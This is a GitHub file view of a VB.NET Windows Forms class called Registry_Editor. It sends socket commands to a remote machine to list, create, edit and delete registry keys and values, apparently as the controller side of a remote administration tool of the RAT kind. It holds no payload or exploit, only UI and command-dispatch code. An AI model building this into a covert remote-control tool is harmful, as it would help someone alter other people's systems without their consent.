-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathRegistry_Editor.vb
182 lines (150 loc) · 7.5 KB
/
Registry_Editor.vb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
Imports System.Runtime.CompilerServices
Public Class Registry_Editor
Public sock As Integer
Public CN As Boolean
Enum ProgressBarColor
Green = &H1
Red = &H2
Yellow = &H3
End Enum
Declare Auto Function SendMessage Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal msg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
Public Shared Sub ChangeProgBarColor(ByVal ProgressBar_Name As Windows.Forms.ProgressBar, ByVal ProgressBar_Color As ProgressBarColor)
SendMessage(ProgressBar_Name.Handle, &H410, ProgressBar_Color, 0)
End Sub
Private Sub CreateKeyToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CreateKeyToolStripMenuItem.Click
If ((Not RGk.SelectedNode Is Nothing) AndAlso RGk.SelectedNode.FullPath.Contains("\")) Then
Dim str As String = Interaction.InputBox("Key Name?", "Create New Key", "Name", -1, -1)
If (str.Length <> 0) Then
Main.S.Send(sock, "RG" & Main.Yy & "#" & Main.Yy & RGk.SelectedNode.FullPath & "\" & Main.Yy & str)
End If
End If
End Sub
#Region "Drag"
Dim posX As Integer
Dim posY As Integer
Dim drag As Boolean
Private Sub Header_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Label2.MouseDown
If e.Button = MouseButtons.Left Then
drag = True
posX = Cursor.Position.X - Me.Left
posY = Cursor.Position.Y - Me.Top
End If
End Sub
Private Sub Header_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Label2.MouseUp
drag = False
End Sub
Private Sub Header_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Label2.MouseMove
If drag Then
Me.Top = Cursor.Position.Y - posY
Me.Left = Cursor.Position.X - posX
End If
Me.Cursor = Cursors.Default
End Sub
Private Sub buttonClos_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles buttonClos.Click
Timer1.Stop()
Me.Close()
End Sub
#End Region
Private Sub RefreshToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RefreshToolStripMenuItem.Click
If (Not Me.RGk.SelectedNode Is Nothing) Then
Main.S.Send(sock, "RG" & Main.Yy & "~" & Main.Yy & RGk.SelectedNode.FullPath & "\")
Me.RGLIST.Enabled = False
Me.RGk.Enabled = False
End If
End Sub
Private Sub DeleteKeyToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DeleteKeyToolStripMenuItem.Click
If (Not Me.RGk.SelectedNode Is Nothing) Then
Dim fullPath As String = Me.RGk.SelectedNode.FullPath
If fullPath.Contains("\") Then
Dim str2 As String = Strings.Split(fullPath, "\", -1, CompareMethod.Binary)((Strings.Split(fullPath, "\", -1, CompareMethod.Binary).Length - 1))
Dim str3 As String = ""
Dim num2 As Integer = (Strings.Split(fullPath, "\", -1, CompareMethod.Binary).Length - 2)
Dim i As Integer = 0
Do While (i <= num2)
str3 = (str3 & Strings.Split(fullPath, "\", -1, CompareMethod.Binary)(i) & "\")
i += 1
Loop
Main.S.Send(sock, "RG" & Main.Yy & "$" & Main.Yy & str3 & Main.Yy & str2)
Me.RGk.SelectedNode.Remove()
End If
End If
End Sub
Private Sub RefreshToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RefreshToolStripMenuItem1.Click
If (Not Me.RGk.SelectedNode Is Nothing) Then
Main.S.Send(sock, "RG" & Main.Yy & "~" & Main.Yy & RGk.SelectedNode.FullPath & "\")
Me.RGLIST.Enabled = False
Me.RGk.Enabled = False
End If
End Sub
Private Sub EditToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EditToolStripMenuItem.Click
RGLIST_DoubleClick(RuntimeHelpers.GetObjectValue(sender), e)
End Sub
Private Sub NewValueToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles NewValueToolStripMenuItem.Click
Dim gv As New Regedit
Regedit.Path = RGk.SelectedNode.FullPath & "\"
Regedit.sock = Me.sock
Regedit.TextBox1.Text = "Name"
Regedit.ComboBox1.SelectedIndex = Regedit.ComboBox1.Items.IndexOf("String")
Regedit.TextBox3.Text = "Value"
Regedit.Text = gv.Path
Regedit.ShowDialog(Me)
End Sub
Private Sub DeleteToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DeleteToolStripMenuItem.Click
Dim enumerator As IEnumerator
Try
enumerator = Me.RGLIST.SelectedItems.GetEnumerator
Do While enumerator.MoveNext
Dim current As ListViewItem = DirectCast(enumerator.Current, ListViewItem)
Main.S.Send(sock, "RG" & Main.Yy & "@5" & Main.Yy & RGk.SelectedNode.FullPath & "\" & Main.Yy & current.Text)
Loop
Finally
End Try
End Sub
Private Sub RGk_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles RGk.DoubleClick
If (Not Me.RGk.SelectedNode Is Nothing) Then
Main.S.Send(sock, "RG" & Main.Yy & "~" & Main.Yy & RGk.SelectedNode.FullPath & "\" & Main.Yy)
Me.RGLIST.Enabled = False
' Me.RGk.Enabled = False
End If
End Sub
Private Sub RGLIST_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles RGLIST.DoubleClick
If (Me.RGLIST.SelectedItems.Count <> 0) Then
Dim item As ListViewItem = Me.RGLIST.SelectedItems.Item(0)
Dim gv As New Regedit
Regedit.Path = (Me.RGk.SelectedNode.FullPath & "\")
Regedit.sock = Me.sock
Regedit.TextBox1.Text = item.Text
Regedit.ComboBox1.SelectedIndex = Regedit.ComboBox1.Items.IndexOf(item.SubItems.Item(1).Text)
Try
Regedit.TextBox3.Text = item.SubItems.Item(2).Text
Catch exception1 As Exception
Dim exception As Exception = exception1
End Try
gv.Text = Regedit.Path
Regedit.TextBox1.ReadOnly = True
gv.ShowDialog(Me)
End If
End Sub
Sub Reforge() '300--> 150 --> 80 --> 40 --> 190
Me.Location = New Point(Screen.PrimaryScreen.WorkingArea.Size.Width / 2 - Me.Width / 2, Screen.PrimaryScreen.WorkingArea.Size.Height / 2 - 325)
Me.Refresh()
End Sub
Dim Curr As Double = 0.0
Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
If Curr < 650 Then '651
Curr += 65.1
Me.Size = New Size(Me.Width, Curr)
Else
Timer2.Stop()
Reforge()
Exit Sub
End If
End Sub
Private Sub Registry_Editor_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Me.AllowTransparency = True
Me.TransparencyKey = Me.BackColor
Timer2.Start()
End Sub
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
End Sub
End Class